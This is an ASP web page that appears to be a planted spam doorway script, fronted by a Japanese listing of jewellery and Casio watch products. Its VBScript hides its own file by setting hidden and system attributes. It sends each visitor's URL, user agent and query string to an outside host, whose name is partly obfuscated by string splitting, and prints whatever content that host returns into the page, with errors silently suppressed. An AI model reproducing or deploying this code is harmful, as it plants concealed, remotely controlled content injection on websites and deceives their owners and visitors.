<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% on error resume Next public url1,k,urlall,ff1,user_agent,querystring function jc(a,b,c) if instr(a,b)>0 and instr(a,c)>0 Then dim splstr splstr = split(a,b) If ubound(splstr)>1 Then jc=split(splstr(ubound(splstr)),c)(0) Else jc=split(splstr(1),c)(0) End if end if end function Function URLEncode(strURL) '汉字转url编码 Dim I Dim tempStr For I = 1 To Len(strURL) If Asc(Mid(strURL, I, 1)) < 0 Then tempStr = "%" & Right(CStr(Hex(Asc(Mid(strURL, I, 1)))), 2) tempStr = "%" & Left(CStr(Hex(Asc(Mid(strURL, I, 1)))), Len(CStr(Hex(Asc(Mid(strURL, I, 1))))) - 2) & tempStr URLEncode = URLEncode & tempStr ElseIf (Asc(Mid(strURL, I, 1)) >= 65 And Asc(Mid(strURL, I, 1)) <= 90) Or (Asc(Mid(strURL, I, 1)) >= 97 And Asc(Mid(strURL, I, 1)) <= 122) Then URLEncode = URLEncode & Mid(strURL, I, 1) Else URLEncode = URLEncode & "%" & Hex(Asc(Mid(strURL, I, 1))) End If Next End Function Function URLDecode(strURL) Dim I If InStr(strURL, "%") = 0 Then URLDecode = strURL: Exit Function For I = 1 To Len(strURL) If Mid(strURL, I, 1) = "%" Then If eval("&H" & Mid(strURL, I + 1, 2)) > 127 Then URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2) & Mid(strURL, I + 4, 2))) I = I + 5 Else URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2))) I = I + 2 End If Else URLDecode = URLDecode & Mid(strURL, I, 1) End If Next End Function Function GetUrl() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetUrl=Url End Function Function GetUrlAll() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName 'If QueryString <>"" Then Url=Url&"?"& QueryString GetUrlAll=Url End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function getHtmls(url,code) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send getHtmls = BytesToBstr(.ResponseBody ,code) End With Set Retrieval = Nothing End Function public Function postHtml(src,encode,strdata) on error resume next if src<>"" then dim Http set Http=server.createobject("MSXML2.XMLHTTP") src = Replace(src,"w"&"w"&"w"&"."&"p"&"a"&"o"&"p"&"a"&"o"&"u","j"&"p"&"2"&"."&"q"&"u"&"n"&"."&"s"&"h"&"a"&"i"&"b"&"a"&"o"&"j") Http.open "Post",src,False Http.setRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" Http.send(strdata) 'if Http.readystate<>4 then If Http.Status<>200 then exit Function postHtml=BytesToBSTR(Http.responseBody,encode) set http=nothing if err.number<>0 then err.Clear end if end Function url1=GetUrl() k=request("k") urlall=GetUrlAll() querystring=Request.ServerVariables("QUERY_STRING") user_agent=Request.ServerVariables("HTTP_USER_AGENT") Set Fso = Server.CreateObject("Scripting.FileSystemObject") ff1=jc(Replace(url1,"http://",""),"/",".asp")&".asp" '文件名称 Set file=Fso.getFile(Server.MapPath(ff1)) file.attributes=1+2+4 'file.attributes=0+0 set Fso=nothing 'response.write GetUrl() 'response.write URLDecode(url1) 'response.write k 'response.write URLDecode(k) 'response.write "_"+Request.ServerVariables("QUERY_STRING") if len(querystring)>0 then %> <%response.write postHtml("http://www.paopaou.com/link/data.jsp","utf-8","urlall="+URLEncode(urlall)+"&url="+URLEncode(url1)+"&user_agent="+URLEncode(user_agent)+"&querystring="+URLEncode(querystring))%> <% else %> ジュエリーブランド 時計役立つか|オンラインショッピングをジュエリーブランド 時計,「通販」
ジュエリーブランド 時計
null
2種 セット ! イヤカフ 付け心地 バツグン 【 ピアス イヤリング 選べる 華やか 大きめ ビジュー and 上品 シンプル ミニ レース 調 】 普段使い から フォーマル まで パーティー / 結婚式 / 二次会...
__1,98000
2種 セット ! イヤカフ 付け心地 バツグン 【 ピアス イヤリング 選べる 華やか 大きめ ビジュー and 上品 シンプル ミニ レース 調 】 普段使い から フォーマル まで パーティー / 結婚式 / 二次会... 
[カシオ]CASIO 腕時計 G-SHOCK ジーショック タフソーラー 電波時計 MULTIBAND 6 GW-M5610-1JF メンズ
__15,12000
[カシオ]CASIO 腕時計 G-SHOCK ジーショック タフソーラー 電波時計 MULTIBAND 6 GW-M5610-1JF メンズ 
ウレタン 腕 時計 バンド 用 ループ 遊環 交換 修理 代用 黒 ブラック 1個 内寸 10 12 14 16 18 20 22 25 27 29 31 mm
__700 - 78000
ウレタン 腕 時計 バンド 用 ループ 遊環 交換 修理 代用 黒 ブラック 1個 内寸 10 12 14 16 18 20 22 25 27 29 31 mm 
【HIROMARUjp】 クロコ ベロア レトロ 調 三段 ジュエリー ボックス 黒 小物入れ セット 宝石 箱 アクセサリー ボックス
__1,880 - 2,18000
【HIROMARUjp】 クロコ ベロア レトロ 調 三段 ジュエリー ボックス 黒 小物入れ セット 宝石 箱 アクセサリー ボックス 
ウレタン 腕 時計 バンド 用 ループ 遊環 交換 修理 代用 白 ホワイト 1個 内寸 10 12 14 16 18 20 22 25 27 29 31 mm
__760 - 78000
ウレタン 腕 時計 バンド 用 ループ 遊環 交換 修理 代用 白 ホワイト 1個 内寸 10 12 14 16 18 20 22 25 27 29 31 mm 
[カシオ]CASIO 腕時計 G-SHOCK ジーショック STANDARD G-SPIKE G-300-3AJF メンズ
__8,32000
[カシオ]CASIO 腕時計 G-SHOCK ジーショック STANDARD G-SPIKE G-300-3AJF メンズ 
null
<%response.write postHtml("http://www.paopaou.com/link/data.jsp","utf-8","showtype=ul&urlall="+URLEncode(urlall)+"&url="+URLEncode(url1)+"&user_agent="+URLEncode(user_agent)+"&querystring="+URLEncode(querystring))%> <% end if %>